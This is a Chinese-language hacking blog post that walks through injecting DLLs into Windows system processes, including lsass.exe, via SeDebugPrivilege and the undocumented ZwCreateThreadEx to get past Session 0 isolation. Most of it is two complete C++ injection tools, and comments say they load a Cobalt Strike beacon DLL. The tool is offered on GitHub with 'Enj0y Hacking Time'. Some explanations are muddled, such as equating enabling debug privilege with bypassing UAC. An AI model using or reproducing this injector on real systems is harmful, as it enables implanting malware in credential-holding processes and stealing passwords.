剛更新完上一篇,于是我們就馬不停蹄的去跟新下一篇!!? Session0注入
?:: 各位看官如果覺得還不錯的可以給博主點個贊💕💕
這次,我把這個腳本直接傳到Github上了 喜歡的師傅點個Star噢 (? ω ?)
whoami-juruo/DLLInjectTools: 一款集成了竊取令牌和從Session0和3進行DLL注入的工具。 (github.com)https://github.com/whoami-juruo/DLLInjectTools?tab=readme-ov-file
目錄
1.注不了系統進程
2.Session0隔離
3.Getsystem????
4.Session0注入
CreateRemoteThread
1.注不了系統進程
我上一篇的Blog提供了一個DLL注入的腳本,當時我們注入的是Notepad++這個普通進程,不過這不是我們想要的啊!!!? ? ?哈哈哈哈,讓我再引用一下我上一篇Blog
那我們嘗試來注入一下Lsass進程 ?? Lsass進程可是一個系統進程,我們電腦的明文密碼就寫在了這個進程里面(這個我之前講過,如果好奇的可以看看我以前的Blog)
那么我們嘗試注入一下??? 好家伙,直接連句柄都獲取不了
那么我們以管理員的身份開啟一下CMD來注入一下(過一下UAC看看)???
還是連句柄都獲取不了,所以我們就要換代碼!!
2.Session0隔離
首先我們來了解一下什么是Session0
在計算機領域中,"Session 0" 是指操作系統中運行的系統級別會話。具體來說,它通常指的是 Windows 操作系統中的服務會話。
更好的解釋就是
在 Windows 中,用戶登錄后會創建一個交互式會話(Interactive Session),這是用戶可以看到和操作的桌面環境。然而,有一些服務和系統進程不需要用戶交互式桌面,它們在一個不可見的系統級別會話中運行,這個會話被稱為 Session 0。
那么為什么我們就算是管理員也注入不了Lsass進程呢?
權限不足:即使你以管理員權限運行,仍然可能無法對 lsass.exe 進行 DLL 注入。這是因為管理員權限雖然可以進行許多操作,但某些系統關鍵進程可能需要更高級別的特權或專門的權限才能進行修改.
其中上面提到的更高級別的特權或者專門的權限就是System權限!!! 但是其實如果我們能過UAC或者是administrator的話,就已經是SYSTEM了!!!?
3.Getsystem????
我相信大家一定在提權的時候(無論是在CS,MSF)上都試過直接Getsystem!!!! 那么它的原理是什么呢 ? 其實就是竊取令牌(我在在內網的權限提升的時候講過)
只有administrator或者過了UAC的普通管理員才能竊取SYSTEM令牌!!
不信我們來試試,我們分別上線一個沒過UAC,和一個過了UAC的普通管理員
? ?*代表過了UAC
然后我們先用普通管理員進行Getsysten!!
可以看見直接Failed了!!!
那么我們去過了UAC的管理員那里Getsystem試一下? 這時候我們就是SYSTEM權限
其實它就是通過下面這段代碼來竊取令牌(提權)
BOOL EnableDebugPrivilege()
{
HANDLE hToken;
BOOL fOk = FALSE;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
fOk = (GetLastError() == ERROR_SUCCESS);
CloseHandle(hToken);
}
return fOk;
}
對于SYSTEM權限,我們是可以隨便注入的!!! 不信我們在我們的腳本上面插入這個提權腳本
#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf(" [-] 獲取進程快照失敗,請重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid,LPCWSTR dllpath)
{//1.獲取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);if (OriginalProcessHandle == NULL){cout << " [-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << " [-] Is This EXE Opened? :(" << endl;}else {cout << " [-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << " [*] Get OriginalProcessHandle Successfully :)" << endl;}//2.遠程申請內存DWORD length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << " [-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << " [*] VirtualAlloc Address Successfully :)" << endl;} //3.將CS上線的DLL寫入內存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);if (WriteStatus == 0){cout << " [-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << " [*] Write CS's DLL Into Memory Successfully :)" << endl;}//4.獲取LoadLibrary地址FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.創建線程HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);if (RemoteHandle == NULL){cout << " [-] Create Remote Thread Failed :(" << endl;return;}else {cout << " [*] Create Remote Thread Successfully :)" << endl;}//6.等待線程結束WaitForSingleObject(RemoteHandle, -1);//7.釋放DLL空間VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//8.關閉句柄CloseHandle(OriginalProcessHandle);cout << " [*] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int main()
{HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN); cout << endl<<" Under the sun,there is no secure system!!"<<endl<<" Scripted By Whoami@127.0.0.1 :》" << endl;if (EnableDebugPrivilege() == TRUE){cout << "-----------------------------!!START!!--------------------------------" << endl;cout << " [*] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << " [-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(L"lsass.exe"); //必須小寫DLLInject(PID, L"C:\\Users\\ASUS\\Desktop\\inject.dll");return 0;
}
然后我們直接以管理員權限運行!(當然,你的DLL得寫絕對路徑)
4.Session0注入
上面的方法確實可以注入高權限的進程,但是不是我們今天的主題捏!!? 我們今天的主題是Session0的注入,雖然說Session0注入也是要提升到System權限,但是這兩個注入是有本質區別的!!!? 所以我們還是開始我們今天的Session0注入吧!!!?
CreateRemoteThread
我們眾所周知,我們的CreateRemoteThread這個函數他是這樣進入0環的
- 在64位下,首先將他擴展成CreateRemoteThreadStub(八個參數)
- 然后去到KernelBase.dll中尋找CreateRemoteThreadEx這個API
- 再通過一眾的跳步之后,我們就在NTdll中找到NTCreateThreadEx這個最終的API
- 然后直接通過SysCall進入內核層再去SSDT表
所以我們就可以直接用一個更加底層的函數!!!? ZwCreateThreadEx
研究發現,CreateRemoteThread底層會調用內核函數ZwCreateThreadEx,而系統調用此函數時,如果發現時系統進程,會把函數的第七個參數CreateSuspended設置為1,導致線程創建完成后會一直處于掛起狀態,無法恢復運行,導致注入失敗。所以我們可以手動調用ZwCreateThread這一內核函數!
其中,ZwCreateThreadEx是一個未文檔化的API,所以我們需要手動聲明
#ifdef _WIN64
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
ULONG CreateThreadFlags,
SIZE_T ZeroBits,
SIZE_T StackSize,
SIZE_T MaximumStackSize,
LPVOID pUnkown);
#else
typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD dw1,
DWORD dw2,
LPVOID pUnkown);
所以其實我們的流程都是差不多的,只不過要轉換函數罷了,這我們就對昨天的代碼直接進行更改了(我想偷懶)
#include<iostream>
#include<tchar.h>
#include <cstring>
#include<Windows.h>
#include<Tlhelp32.h>
#include <cctype>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")BOOL EnableDebugPrivilege()
{HANDLE hToken;BOOL fOk = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)){TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}DWORD GetProcessPID(LPCTSTR lpProcessName)
{DWORD Ret = 0;PROCESSENTRY32 p32;HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (lpSnapshot == INVALID_HANDLE_VALUE){printf(" [-] 獲取進程快照失敗,請重試! Error:%d", ::GetLastError());return Ret;}p32.dwSize = sizeof(PROCESSENTRY32);::Process32First(lpSnapshot, &p32);do {if (!lstrcmp(p32.szExeFile, lpProcessName)){Ret = p32.th32ProcessID;break;}} while (::Process32Next(lpSnapshot, &p32));::CloseHandle(lpSnapshot);return Ret;
}void DLLInject(DWORD pid, LPCWSTR dllpath)
{//1.獲取句柄HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);if (OriginalProcessHandle == NULL){cout << " [-] Get TargetProcessHandle Failed :(" << endl;if (EnableDebugPrivilege() == TRUE){cout << " [-] Is This EXE Opened? :(" << endl;}else {cout << " [-] Please Run This Under Administrator Role :(" << endl;}return;}else {cout << " [*] Get OriginalProcessHandle Successfully :)" << endl;}//2.遠程申請內存DWORD length = (wcslen(dllpath) + 1) * sizeof(TCHAR);PVOID RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (RemoteMemory == NULL){cout << " [-] VirtualAlloc Address Failed :(" << endl;return;}else {cout << " [*] VirtualAlloc Address Successfully :)" << endl;}//3.將CS上線的DLL寫入內存BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);if (WriteStatus == 0){cout << " [-] Write CS's DLL Into Memory Failed :(" << endl;return;}else{cout << " [*] Write CS's DLL Into Memory Successfully :)" << endl;}//4.獲取LoadLibrary地址FARPROC LoadLibraryHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");//5.聲明ZwCreateThreadEx函數
#ifdef _WIN64typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,ULONG CreateThreadFlags,SIZE_T ZeroBits,SIZE_T StackSize,SIZE_T MaximumStackSize,LPVOID pUnkown);
#elsetypedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(PHANDLE ThreadHandle,ACCESS_MASK DesiredAccess,LPVOID ObjectAttributes,HANDLE ProcessHandle,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,BOOL CreateSuspended,DWORD dwStackSize,DWORD dw1,DWORD dw2,LPVOID pUnkown);
#endif//6.獲取NTDLL中ZwCreateThreadEx函數typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "ZwCreateThreadEx");if (ZwCreateThreadEx == NULL){cout << " [-] Get ZwCreateThreadEx Address Failed :(" << endl;return;}else {cout << " [*] Get ZwCreateThreadEx Address Successfully :)" << endl;}//5.創建線程 ring3調用CreateRemoteThreadHANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, NULL);if (RemoteHandle == NULL){cout << " [-] Ring3 Thread Inject Failed :(" << endl;return;}else {cout << " [*] Ring3 Thread Inject Successfully :)" << endl;}//7.創建線程 ring0調用ZwCreateThreadExHANDLE hRemoteThread;DWORD Status = 0;Status = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, OriginalProcessHandle, (LPTHREAD_START_ROUTINE)LoadLibraryHandle, RemoteMemory, 0, 0, 0, 0, NULL);if (Status == NULL){cout << " [*] Ring0 Thread Inject Successfully :)" << endl;}else{cout << " [-] Ring0 Thread Inject Failed :(" << endl;return;}WaitForSingleObject(RemoteHandle, -1);//8.釋放DLL空間VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);//9.關閉句柄CloseHandle(OriginalProcessHandle);CloseHandle(ZwCreateThreadEx);cout << " [*] DLL inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}int _tmain(int argc, TCHAR* argv[])
{HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE);SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_BLUE);if (argc == 3) {std::cout << "▓█████▄ ██▓ ██▓ ██▓ ███▄ █ ▄▄▄██▓▓▓▓█████ ▄████▄ ▄▄▄█████▓\n";std::cout << "▓██▓ ██▌▓██▓ ▓██▓ ▓██▓ ██ ▓█ █ ▓██ ▓█ ▓ ▓██▓ ▓█ ▓ ██▓ ▓▓\n";std::cout << "▓██ █▌▓██▓ ▓██▓ ▓██▓▓██ ▓█ ██▓ ▓██ ▓███ ▓▓█ ▄ ▓ ▓██▓ ▓▓\n";std::cout << "▓▓█▄ ▌▓██▓ ▓██▓ ▓██▓▓██▓ ▓▌██▓▓██▄██▓ ▓▓█ ▄ ▓▓▓▄ ▄██▓▓ ▓██▓ ▓ \n";std::cout << "▓▓████▓ ▓██████▓▓██████▓▓██▓▓██▓ ▓██▓ ▓███▓ ▓▓████▓▓ ▓███▓ ▓ ▓██▓ ▓ \n";std::cout << " ▓▓ ▓ ▓ ▓▓▓ ▓▓ ▓▓▓ ▓▓▓ ▓ ▓▓ ▓ ▓ ▓▓▓▓▓ ▓▓ ▓▓ ▓▓ ▓▓ ▓ ▓ ▓ ▓▓ \n";std::cout << " ▓▓ ▓ ▓ ▓ ▓ ▓▓ ▓ ▓ ▓ ▓ ▓▓ ▓▓ ▓ ▓▓ ▓ ▓▓▓ ▓ ▓ ▓ ▓ ▓ ▓ \n";std::cout << " ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ \n";std::cout << " ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓ ▓▓ ▓ \n";std::cout << " ▓ ▓ \n";SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE);cout << endl << " Under the sun,there is no secure system!!" << endl << " Scripted By Whoami@127.0.0.1 :》"<<endl<<" Color Picked By Icy Water :)" << endl;if (EnableDebugPrivilege() == TRUE){//cout << "-----------------------------!!START!!--------------------------------" << endl;cout << " [*] Privilege Elevated Successfully, Now You Have Bypassed UAC :) " << endl;}else {cout << "-----------------------------!!START!!--------------------------------" << endl;cout << " [-] Privilege Elevated Failed, You Haven't Bypassed UAC :( " << endl;}DWORD PID = GetProcessPID(argv[1]); //必須小寫DLLInject(PID, argv[2]);}else{cout << " [-] Two Parameters are required" << endl;}return 0;
}
這里小編也把扔到Github上了,如果喜歡的兄弟萌也可以下來玩一玩噢!!?